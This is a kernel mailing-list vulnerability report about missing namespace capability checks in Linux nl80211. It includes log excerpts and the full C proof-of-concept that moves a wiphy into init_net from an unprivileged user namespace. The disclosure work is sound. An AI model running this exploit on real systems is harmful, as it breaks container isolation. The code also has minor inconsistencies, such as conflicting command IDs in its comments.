nl80211: SET_WIPHY_NETNS does not check caller's CAP_NET_ADMIN over the target netns
From: Xie Maoyi
Date: Sun May 03 2026 - 02:55:15 EST
Hi Johannes,
I think I have found two related namespace handling gaps in nl80211 on v7.0 mainline. I would appreciate your view on whether they are bugs and whether they are worth fixing. The second one is much narrower than the first.
Bug A: NL80211_CMD_SET_WIPHY_NETNS does not check the target netns.
nl80211_wiphy_netns() is around line 13538 in net/wireless/nl80211.c. It resolves the target netns from NL80211_ATTR_PID or NL80211_ATTR_NETNS_FD. It then calls cfg80211_switch_netns() right away. The genl op flag GENL_UNS_ADMIN_PERM only checks CAP_NET_ADMIN over the caller's own user namespace. There is no check against the target netns.
By comparison, net/core/rtnetlink.c::rtnl_get_net_ns_capable() spells out the convention:
/* For now, the caller is required to have CAP_NET_ADMIN in
* the user namespace owning the target net ns. */
if (!sk_ns_capable(sk, net->user_ns, CAP_NET_ADMIN))
return ERR_PTR(-EACCES);
So a caller that has CAP_NET_ADMIN only in their own user namespace can push a wiphy into any netns whose fd or pid they can resolve. This includes init_net. The wiphy must have WIPHY_FLAG_NETNS_OK set. That flag is set by mac80211_hwsim. It is also set on any wiphy that an administrator has delegated into a container.
Reproducer (poc_nl80211_setns.c, attached). Tested on a KASAN VM with mac80211_hwsim radios=1 in init_net.
1. Real root in init_net spawns hwsim phyN.
2. fork(). Child runs unshare(CLONE_NEWUSER | CLONE_NEWNET) and writes a 0-mapped uid_map to become "root" in its own user_ns.
3. Real root migrates phyN into the child's netns. This is the legitimate admin step. Container Wi-Fi delegation does the same thing.
4. Child issues NL80211_CMD_SET_WIPHY_NETNS with NL80211_ATTR_NETNS_FD pointing at init_net's netns fd.
5. The kernel honours the request. phyN moves back to init_net. The caller has no CAP_NET_ADMIN in init_net.
Vanilla output (poc_vanilla.log, attached):
[child] uid=0 netns=net:[4026532261]
[child] BUG: SET_WIPHY_NETNS to init_net SUCCEEDED from attacker userns/netns without CAP_NET_ADMIN over init_net
[init_net after child finished] /sys/class/ieee80211 = phyN
The final line shows phyN back in init_net.
Bug B: nl80211_prepare_wdev_dump() continuation does not re-check netns.
The first dumpit invocation validates the wdev against the caller via __cfg80211_wdev_from_attrs(..., sock_net(cb->skb->sk), ...). Subsequent invocations look up the wiphy by global index via wiphy_idx_to_wiphy(). They do not re-check sock_net(cb->skb->sk) against the wiphy's current netns.
Other dump paths in the same file do this check on every iteration. See nl80211_dump_wiphy() at line 3437 and the parallel scheduled scan dump at line 4420.
If a wiphy moves between dumpit invocations of NL80211_CMD_GET_SCAN via NL80211_CMD_SET_WIPHY_NETNS, the dump silently keeps copying BSS list contents from the wiphy's new netns into the caller's netns. On its own this race needs a separate caller to migrate the wiphy mid-dump. With bug A, the attacker can arrange the race themselves.
What I tested on
* Linux v7.0 vanilla mainline tag, x86_64.
* KASAN+lockdep enabled, bookworm rootfs, qemu-kvm.
* mac80211_hwsim built as a module.
* Reproducer compiled with plain gcc, raw genetlink, no liburing
or libnl dependency.
Note on the post-fix log
The post-fix log ends with an empty /sys/class/ieee80211 listing. This is not a patch side effect. The patched kernel correctly rejects the child's SET_WIPHY_NETNS with -EPERM, so phyN stays in the child's netns. When the child exits, that netns is destroyed.
mac80211_hwsim's pernet_exit handler then cleans up the wiphy. So init_net sees nothing, which is the expected cleanup path. The relevant signal in the post-fix log is the EPERM line:
[child] SET_WIPHY_NETNS to init_net rc=-1 (Operation not permitted) (correctly rejected)
I have a small two-patch series against v7.0 that closes both gaps. Patch 1/2 mirrors rtnl_get_net_ns_capable() in nl80211_wiphy_netns(). Patch 2/2 adds the missing net_eq() check in nl80211_prepare_wdev_dump()'s continuation branch. I have re-run the same reproducer against the patched kernel. The attacker's SET_WIPHY_NETNS now returns -EPERM. The legitimate admin path is unaffected.
I would prefer to send the patches as a separate thread once you have had a chance to look at the report and tell me whether and how you would like them fixed.
Attachments:
poc_nl80211_setns.c -- C reproducer, raw genetlink
poc_vanilla.log -- reproducer output on vanilla v7.0
poc_post_patch.log -- reproducer output on the patched v7.0 (attacker now gets -EPERM)
Thanks for taking a look. Apologies in advance if this is already known or out of scope.
Best regards,
Maoyi
Nanyang Technological University
https://maoyixie.com/
________________________________
CONFIDENTIALITY: This email is intended solely for the person(s) named and may be confidential and/or privileged. If you are not the intended recipient, please delete it, notify us and do not copy, use, or disclose its contents.
Towards a sustainable earth: Print only when necessary. Thank you.
Attachment:
poc_post_patch.log
Description: poc_post_patch.log
Attachment:
poc_vanilla.log
Description: poc_vanilla.log
* PoC for nl80211 missing target-netns CAP_NET_ADMIN check in
* NL80211_CMD_SET_WIPHY_NETNS, plus the related dump-scan continuation
* netns recheck gap in nl80211_prepare_wdev_dump.
*
* Bug A (target-cap missing): NL80211_CMD_SET_WIPHY_NETNS only checks
* CAP_NET_ADMIN over the netlink socket's netns. It does NOT check
* that the caller has CAP_NET_ADMIN over the *target* netns. Compare
* net/core/rtnetlink.c::rtnl_get_net_ns_capable() which mandates this
* check.
*
* Setup: we need a wiphy in the attacker's netns to start. Real-world
* scenarios where this happens: admin grants Wi-Fi to a container;
* mac80211_hwsim spawned in attacker's netns; SR-IOV WiFi VFs assigned.
* For this PoC we use mac80211_hwsim and have init_net root migrate the
* wiphy into the attacker's netns first, then verify the attacker (with
* only fake-root via userns) can move it out without CAP_NET_ADMIN over
* the destination netns.
*
* Build: gcc poc_nl80211_setns.c -o poc_nl80211_setns
* Run as root on a kernel with mac80211_hwsim loaded.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#define NL80211_FAMILY "nl80211"
/* From <linux/nl80211.h> */
#define NL80211_CMD_GET_WIPHY 1
#define NL80211_CMD_SET_WIPHY_NETNS 49 /* 0x31, verified from UAPI */
#define NL80211_ATTR_WIPHY 1
#define NL80211_ATTR_PID 82
#define NL80211_ATTR_NETNS_FD 219
struct nl_state {
int sk;
uint16_t family_id;
uint32_t pid;
};
static int nl_open(struct nl_state *st)
{
st->sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (st->sk < 0) { perror("socket(NETLINK_GENERIC)"); return -1; }
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (bind(st->sk, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("bind"); return -1;
}
socklen_t slen = sizeof(sa);
if (getsockname(st->sk, (struct sockaddr *)&sa, &slen) < 0) {
perror("getsockname"); return -1;
}
st->pid = sa.nl_pid;
return 0;
}
/* Resolve the nl80211 family ID + the SET_WIPHY_NETNS cmd ID via
* CTRL_CMD_GETFAMILY. */
static int nl_resolve_family(struct nl_state *st, int *cmd_set_netns,
int *cmd_get_wiphy)
{
char buf[4096] = {0};
struct nlmsghdr *nh = (struct nlmsghdr *)buf;
nh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
nh->nlmsg_type = GENL_ID_CTRL;
nh->nlmsg_flags = NLM_F_REQUEST;
nh->nlmsg_seq = 1;
nh->nlmsg_pid = st->pid;
struct genlmsghdr *gh = NLMSG_DATA(nh);
gh->cmd = CTRL_CMD_GETFAMILY;
gh->version = 1;
/* Add CTRL_ATTR_FAMILY_NAME = "nl80211" */
struct nlattr *na = (struct nlattr *)((char *)gh + GENL_HDRLEN);
na->nla_type = CTRL_ATTR_FAMILY_NAME;
int slen = strlen(NL80211_FAMILY) + 1;
na->nla_len = NLA_HDRLEN + slen;
memcpy((char *)na + NLA_HDRLEN, NL80211_FAMILY, slen);
nh->nlmsg_len += NLA_ALIGN(na->nla_len);
if (send(st->sk, nh, nh->nlmsg_len, 0) < 0) {
perror("send(GETFAMILY)"); return -1;
}
char rbuf[8192];
int n = recv(st->sk, rbuf, sizeof(rbuf), 0);
if (n < 0) { perror("recv"); return -1; }
nh = (struct nlmsghdr *)rbuf;
if (nh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *e = NLMSG_DATA(nh);
fprintf(stderr, "GETFAMILY error %d (%s)\n", -e->error, strerror(-e->error));
return -1;
}
/* Walk attrs. We need CTRL_ATTR_FAMILY_ID and the OPS list. */
gh = NLMSG_DATA(nh);
char *p = (char *)gh + GENL_HDRLEN;
char *end = (char *)nh + nh->nlmsg_len;
*cmd_set_netns = -1;
*cmd_get_wiphy = -1;
while (p + NLA_HDRLEN <= end) {
struct nlattr *a = (struct nlattr *)p;
if (a->nla_len < NLA_HDRLEN) break;
char *adata = p + NLA_HDRLEN;
switch (a->nla_type & NLA_TYPE_MASK) {
case CTRL_ATTR_FAMILY_ID:
st->family_id = *(uint16_t *)adata;
break;
case CTRL_ATTR_OPS: {
char *oend = p + a->nla_len;
char *op = adata;
while (op + NLA_HDRLEN <= oend) {
struct nlattr *opa = (struct nlattr *)op;
if (opa->nla_len < NLA_HDRLEN) break;
/* opa is each op as nested. */
char *opd = op + NLA_HDRLEN;
char *opdend = op + opa->nla_len;
int op_id = -1;
while (opd + NLA_HDRLEN <= opdend) {
struct nlattr *fa = (struct nlattr *)opd;
if (fa->nla_len < NLA_HDRLEN) break;
if ((fa->nla_type & NLA_TYPE_MASK) == CTRL_ATTR_OP_ID) {
op_id = *(uint32_t *)(opd + NLA_HDRLEN);
}
opd += NLA_ALIGN(fa->nla_len);
}
/* We don't get cmd names back, but we know the enum
* positions: GET_WIPHY=1, SET_WIPHY_NETNS=33 in v7.0. */
op = op + NLA_ALIGN(opa->nla_len);
(void)op_id;
}
break;
}
}
p += NLA_ALIGN(a->nla_len);
}
/* Use the canonical enum values. NL80211_CMD_SET_WIPHY_NETNS = 49 */
*cmd_set_netns = NL80211_CMD_SET_WIPHY_NETNS;
*cmd_get_wiphy = NL80211_CMD_GET_WIPHY;
return 0;
}
/* Send NL80211_CMD_SET_WIPHY_NETNS for wiphy_idx, target=netns_fd.
* Returns 0 on success, -errno otherwise. */
static int send_set_wiphy_netns(struct nl_state *st, int wiphy_idx,
int netns_fd, int cmd_id)
{
char buf[1024] = {0};
struct nlmsghdr *nh = (struct nlmsghdr *)buf;
nh->nlmsg_type = st->family_id;
nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nh->nlmsg_seq = 42;
nh->nlmsg_pid = st->pid;
nh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
struct genlmsghdr *gh = NLMSG_DATA(nh);
gh->cmd = cmd_id;
gh->version = 1;
/* NL80211_ATTR_WIPHY (u32) */
struct nlattr *a = (struct nlattr *)((char *)nh + nh->nlmsg_len);
a->nla_type = NL80211_ATTR_WIPHY;
a->nla_len = NLA_HDRLEN + sizeof(uint32_t);
*(uint32_t *)((char *)a + NLA_HDRLEN) = wiphy_idx;
nh->nlmsg_len += NLA_ALIGN(a->nla_len);
/* NL80211_ATTR_NETNS_FD (u32) */
a = (struct nlattr *)((char *)nh + nh->nlmsg_len);
a->nla_type = NL80211_ATTR_NETNS_FD;
a->nla_len = NLA_HDRLEN + sizeof(uint32_t);
*(uint32_t *)((char *)a + NLA_HDRLEN) = netns_fd;
nh->nlmsg_len += NLA_ALIGN(a->nla_len);
if (send(st->sk, nh, nh->nlmsg_len, 0) < 0) {
perror("send(SET_WIPHY_NETNS)"); return -errno;
}
char rbuf[1024];
int n = recv(st->sk, rbuf, sizeof(rbuf), 0);
if (n < 0) { perror("recv"); return -errno; }
nh = (struct nlmsghdr *)rbuf;
if (nh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *e = NLMSG_DATA(nh);
return e->error; /* 0 on success, negative errno on failure */
}
return 0;
}
static void show_phy(const char *who) {
fprintf(stderr, "[%s] /sys/class/ieee80211 = ", who);
char buf[256];
snprintf(buf, sizeof(buf), "ls /sys/class/ieee80211 2>&1");
FILE *f = popen(buf, "r");
if (f) {
char line[64];
while (fgets(line, sizeof(line), f)) fprintf(stderr, "%s", line);
fclose(f);
}
}
int main(int argc, char **argv)
{
/* Discover the wiphy_idx of the first hwsim phy in init_net by
* reading /sys/class/ieee80211/<name>/index. */
int wiphy_idx = -1;
{
FILE *f = popen("ls /sys/class/ieee80211 2>/dev/null | head -n1", "r");
char name[64];
if (f && fgets(name, sizeof(name), f)) {
name[strcspn(name, "\n")] = 0;
char path[128];
snprintf(path, sizeof(path), "/sys/class/ieee80211/%s/index", name);
FILE *g = fopen(path, "r");
if (g) { fscanf(g, "%d", &wiphy_idx); fclose(g); }
fprintf(stderr, "[parent] using %s wiphy_idx=%d\n", name, wiphy_idx);
}
if (f) pclose(f);
}
if (wiphy_idx < 0) {
fprintf(stderr, "no wiphy in /sys/class/ieee80211, ensure hwsim loaded\n");
return 2;
}
fprintf(stderr, "=== Initial state (init_net) ===\n");
show_phy("init_net");
/* Step 1: open init_net netns fd to use as target later. */
int init_netns_fd = open("/proc/self/ns/net", O_RDONLY);
if (init_netns_fd < 0) { perror("open /proc/self/ns/net"); return 2; }
/* Step 2: fork a child that:
* a) unshare(CLONE_NEWUSER | CLONE_NEWNET) -> assert "fake root"
* in attacker user_ns + fresh netns.
* b) parent (still in init_net) moves phy0 into child's netns
* via legitimate SET_WIPHY_NETNS (we have real CAP_NET_ADMIN
* in init_net for that step, mirroring an admin grant).
* c) child waits for parent to signal "done", then issues
* NL80211_CMD_SET_WIPHY_NETNS targeting init_net (where the
* child has NO CAP_NET_ADMIN).
* d) if the kernel honours that command, the wiphy moves back
* into init_net even though the attacker has no privilege
* over init_net -- bug confirmed.
*/
int p2c[2], c2p[2];
pipe(p2c); pipe(c2p);
pid_t cpid = fork();
if (cpid < 0) { perror("fork"); return 2; }
if (cpid == 0) {
close(p2c[1]); close(c2p[0]);
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
perror("[child] unshare"); _exit(2);
}
/* fake root via uid_map 0 0 1 */
char b[64]; int fd, n;
if ((fd = open("/proc/self/setgroups", O_WRONLY)) >= 0) { write(fd,"deny",4); close(fd); }
fd = open("/proc/self/uid_map", O_WRONLY);
n = snprintf(b,sizeof(b),"0 0 1\n"); write(fd,b,n); close(fd);
fd = open("/proc/self/gid_map", O_WRONLY);
n = snprintf(b,sizeof(b),"0 0 1\n"); write(fd,b,n); close(fd);
char nsa[64]; int rl = readlink("/proc/self/ns/net", nsa, 63);
if (rl > 0) nsa[rl] = 0;
fprintf(stderr, "[child] uid=%u netns=%s (waiting for wiphy)\n",
getuid(), nsa);
/* Tell parent to move phy0 to my netns. */
write(c2p[1], "READY", 5);
/* Wait until parent signals it's done. */
char tmp[8];
read(p2c[0], tmp, sizeof(tmp));
fprintf(stderr, "[child] parent moved phy0 into my netns\n");
show_phy("child after move-in");
/* Now attempt the bug: SET_WIPHY_NETNS to send wiphy to init_net,
* where attacker has no CAP_NET_ADMIN. */
struct nl_state st = {0};
if (nl_open(&st) < 0) _exit(2);
int cmd_set, cmd_get;
if (nl_resolve_family(&st, &cmd_set, &cmd_get) < 0) {
fprintf(stderr, "[child] nl80211 family resolve failed\n");
_exit(2);
}
fprintf(stderr, "[child] nl80211 family_id=%u\n", st.family_id);
/* phy0 is wiphy_idx=0 (first hwsim radio) */
int rc = send_set_wiphy_netns(&st, wiphy_idx, init_netns_fd, cmd_set);
if (rc == 0) {
fprintf(stderr,
"[child] *** BUG: SET_WIPHY_NETNS to init_net SUCCEEDED "
"from attacker userns/netns without CAP_NET_ADMIN over init_net ***\n");
} else {
fprintf(stderr,
"[child] SET_WIPHY_NETNS to init_net rc=%d (%s) %s\n",
rc, strerror(-rc),
rc == -EACCES || rc == -EPERM ? "(correctly rejected)" :
"(some other error)");
}
show_phy("child after attempted move-out");
write(c2p[1], "DONE", 4);
close(st.sk);
_exit(0);
}
close(p2c[0]); close(c2p[1]);
/* Parent (init_net) waits for child READY, then moves phy0 to child. */
char tmp[8];
read(c2p[0], tmp, sizeof(tmp));
fprintf(stderr, "[parent] child ready, moving phy0 -> child netns\n");
/* We need child's netns_fd. */
char path[64];
snprintf(path, sizeof(path), "/proc/%d/ns/net", cpid);
int child_netns_fd = open(path, O_RDONLY);
if (child_netns_fd < 0) { perror("[parent] open child netns"); kill(cpid,SIGKILL); return 2; }
struct nl_state pst = {0};
if (nl_open(&pst) < 0) return 2;
int cmd_set, cmd_get;
if (nl_resolve_family(&pst, &cmd_set, &cmd_get) < 0) {
fprintf(stderr, "[parent] family resolve failed\n");
return 2;
}
int rc = send_set_wiphy_netns(&pst, wiphy_idx, child_netns_fd, cmd_set);
if (rc != 0) {
fprintf(stderr, "[parent] move-in failed rc=%d (%s)\n", rc, strerror(-rc));
kill(cpid, SIGKILL); return 2;
}
fprintf(stderr, "[parent] phy0 moved into child netns\n");
show_phy("init_net after move-out");
close(pst.sk);
write(p2c[1], "GO", 2);
read(c2p[0], tmp, sizeof(tmp));
int status; waitpid(cpid, &status, 0);
fprintf(stderr, "[parent] child exited, final state:\n");
show_phy("init_net after child finished");
close(init_netns_fd); close(child_netns_fd);
return 0;
}